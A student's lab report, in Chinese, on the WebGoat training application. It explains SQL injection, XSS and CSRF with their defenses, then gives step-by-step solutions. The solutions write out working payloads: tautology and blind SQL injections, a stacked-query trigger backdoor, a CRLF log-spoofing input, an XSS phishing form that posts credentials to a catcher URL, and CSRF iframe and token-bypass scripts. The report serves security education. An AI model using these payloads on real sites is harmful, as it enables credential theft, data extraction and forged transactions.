20154312 曾林 EXP9 Web安全基礎
目錄
-0.webgoat Could not find source file
-1.基礎問題回答
-2.環境配置
-3.Injection Flaws
----3.1.Numeric SQL Injection
----3.2.Log Spoofing
----3.3.XPATH Injection
----3.4.String SQL Injection
----3.5.LAB: SQL Injection
----3.6.Database Backdoors
----3.7.Blind Numeric SQL Injection
----3.8.Blind String SQL Injection
-4.Cross-Site Scripting (XSS)
----4.1.Phishing with XSS
----4.2.Stored XSS Attacks
----4.3.Reflected XSS Attacks
-5.CSRF
----5.1.Cross Site Request Forgery(CSRF)
----5.2.CSRF Prompt By-Pass
----5.3.CSRF Token By-Pass
-6.實驗總結與體會
webgoat Could not find source file
推測問題出在JDK版本上
先確認Kali的JDK版本
"9.0.4"
這個版本對於WebGoat7.1來說過高了,我們只要把JDK換成1.8就i行了參照教程按步驟一步一步來即可
基礎問題回答
(1)SQL註入攻擊原理,如何防禦
- 原理:所謂SQL註入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或作為存儲過程的輸入參數,這類表單特別容易受到SQL註入式攻擊。
- 防禦:
- 永遠不要信任用戶的輸入。對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和雙"-"進行轉換等。
- 永遠不要使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。
- 永遠不要使用管理員權限的數據庫連接,為每個應用使用單獨的權限有限的數據庫連接。
- 不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
- 應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝
- sql註入的檢測方法一般采取輔助軟件或網站平臺來檢測,軟件一般采用sql註入檢測工具jsky,網站平臺就有億思網站安全平臺檢測工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防禦SQL註入,XSS攻擊等。
(2)XSS攻擊的原理,如何防禦
- 原理:XSS攻擊全稱跨站腳本攻擊,是為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS,XSS是一種在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。
- 防禦:
- 基於特征的防禦:統XSS防禦多采用特征匹配方式,在所有提交的信息中都進行匹配檢查。對於這種類型的XSS攻擊,采用的模式匹配方法一般會需要對“javascript”這個關鍵字進行檢索,一旦發現提交信息中包含“javascript”,就認定為XSS攻擊
- 基於代碼修改的防禦:和SQL註入防禦一樣,XSS攻擊也是利用了Web頁面的編寫疏忽,所以還有一種方法就是從Web應用開發的角度來避免:
- 對所有用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST數據等,僅接受指定長度範圍內、采用適當格式、采用所預期的字符的內容提交,對其他的一律過濾。
- 實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。
- 確認接收的的內容被妥善的規範化,僅包含最小的、安全的Tag(沒有javascript),去掉任何對遠程內容的引用(尤其是樣式表和javascript),使用HTTP only的cookie。
(3)CSRF攻擊原理,如何防禦
- 原理:CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防範的資源也相當稀少)和難以防範,所以被認為比XSS更具危險性。
- 防禦:
- 對於web站點,將持久化的授權方法(例如cookie或者HTTP授權)切換為瞬時的授權方法(在每個form中提供隱藏field),這將幫助網站防止這些攻擊。一種類似的方式是在form中包含秘密信息、用戶指定的代號作為cookie之外的驗證。
- “雙提交”cookie。此方法只工作於Ajax請求,但它能夠作為無需改變大量form的全局修正方法。如果某個授權的cookie在form post之前正被JavaScript代碼讀取,那麽限制跨域規則將被應用。如果服務器需要在Post請求體或者URL中包含授權cookie的請求,那麽這個請求必須來自於受信任的域,因為其它域是不能從信任域讀取cookie的。
環境配置
- 將webgoat的java包下載好之後,使用命令
java -jar webgoat-server-8.0.0.M14.jar
運行WebGoat
- 使用瀏覽器打開http://localhost:8080/WebGoat,進入WebGoat
Injection Flaws
Numeric SQL Injection
- F12打開瀏覽器調試模式,通過修改該,Columbia對應值,使得最後傳回去的SQL語句變為
SELECT * FROM weather_data WHERE station = 101 OR 1=1
- 1=1恒成立,即可看到所有城市天氣
Log Spoofing
- 日誌偽造,,在Username輸入
zh%0d%0aLogin Succeeded for username: admin
- %0d和%0a為換行符,這樣就就偽造了內容為
Login Succeeded for username: admin
的日誌
XPATH Injection
- 直接構造永真式
20154312‘ or 1=1 or ‘a‘=‘a
String SQL Injection
- 構造一個永真式註入
zenglin‘ or ‘1‘=‘1
- SQL語句變為
SELECT * FROM user_data WHERE last_name = ‘zenglin‘ OR ‘1‘=‘1‘
LAB: SQL Injection
Stage1:String SQL Injection
- 這一題就一點小問題,輸入框限制了MaxLength,把MaxLength改為一個合適大小之後,修改
password=‘ or‘1‘=‘1
,done
Stage3:Numeric SQL Injection
- 和Stage1一樣,構造永真式登陸賬戶,登陸之後修改
employee_id
參數修改為101 or 1=1 order by salary desc
Database Backdoors
思路就是利用SQL語句註入一個後門,具體操作就是用
;
將原本填入文本框的語句變為兩條SQL語句,實現註入後門的目的先在User ID輸入框輸入
101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘WHERE userid = NEW.userid.
這樣就實現了傳入SQL語句CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘WHERE userid = NEW.userid.
實現的功能就是創建新用戶時,會自動將email選項填充為我指定的郵箱
Blind Numeric SQL Injection
- 盲註,顧名思義就是啥都不知道瞎註,主要是看反饋信息來調整我們的輸入來實現SQL註入的效果
數字盲註,在
Enter your Account Number
輸入101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
根據返回的提示來判斷
“(SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000"
通過二分法縮小範圍,最後用2364
提交成功
Blind String SQL Injection
- 相同思路,只不過這個是字符串盲註,在
Enter your Account Number
輸入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4312431243124312‘), 1, 1) = ‘h‘ );
根據返回提示判斷name,最後輸入JiLL
,爆破成功
Cross-Site Scripting (XSS)
Phishing with XSS
- XSS+HTML寫一個簡單的帶表單網站,直接將下面的代碼放入輸入框,Enter,出現一個登陸框,輸入
Username
和Password
之後會彈窗相關信息
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
LAB:Cross Site Scripting
Stage1:
- 登陸後,點擊
View profile
後,在Street
字段輸入以下代碼:<script>alert("20154327");</script>
Stage3:
- 使用“David”登錄,然後查看“Bruce”的信息,即可執行之前存儲好的跨站攻擊腳本
Stage5:執行一個反射XSS攻擊
- 登陸後在
Search Staff
中輸入“”
Stored XSS Attacks
存儲式XSS攻擊,也是最經典的,用過將腳本語句放入留言框存儲起來,進行攻擊
本題直接在Title裏輸入
任意信息
,在 Message裏輸<script>alert("20154327yangzhenghui!");</script>
再點擊留言板內容
Reflected XSS Attacks
- 反射XSS攻擊中,利用腳本制造一個URL提交到另外一個網站,實現攻擊,直接在
Enter ur three digit access code
中輸入腳本,實現攻擊
CSRF
Cross Site Request Forgery(CSRF)
- 這是一個發送郵件的頁面,我們只需要在Title輸入
任意信息
,在Message輸入:<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />
點擊Submit
,Message List
就會出現一條提交的記錄
CSRF Prompt By-Pass
- 一樣的思路,Title輸入
任意信息
,Message輸入:
<iframe
src="attack?Screen=280&menu=900&transferFunds=5000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById(‘frame2‘).src=‘attack?Screen=280&menu=900&transferFunds=CONFIRM‘;">
</iframe>
<iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>
CSRF Token By-Pass
- 還是相同的思路,Title輸入
任意信息
,在Message輸入代碼,submit
<script>
var tokensuffix;
function readFrame1()
{
var frameDoc = document.getElementById("frame1").contentDocument;
var form = frameDoc.getElementsByTagName("form")[0];
tokensuffix = ‘&CSRFToken=‘ + form.CSRFToken.value;
loadFrame2();
}
function loadFrame2()
{
var testFrame = document.getElementById("frame2");
testFrame.src="attack?Screen=273&menu=900&transferFunds=5000" + tokensuffix;
}
</script>
<iframe src="attack?Screen=273&menu=900&transferFunds=main"
onload="readFrame1();"
id="frame1" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe>
<iframe id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe>
實驗總結與體會
這是最後一次實驗了,實驗會結束,但是我大概是看不到互聯網上的網絡攻防結束的那一天,很感謝老師,讓我有機會享受一門很純粹的技術課程。謝謝!
20154312 曾林 EXP9 Web安全基礎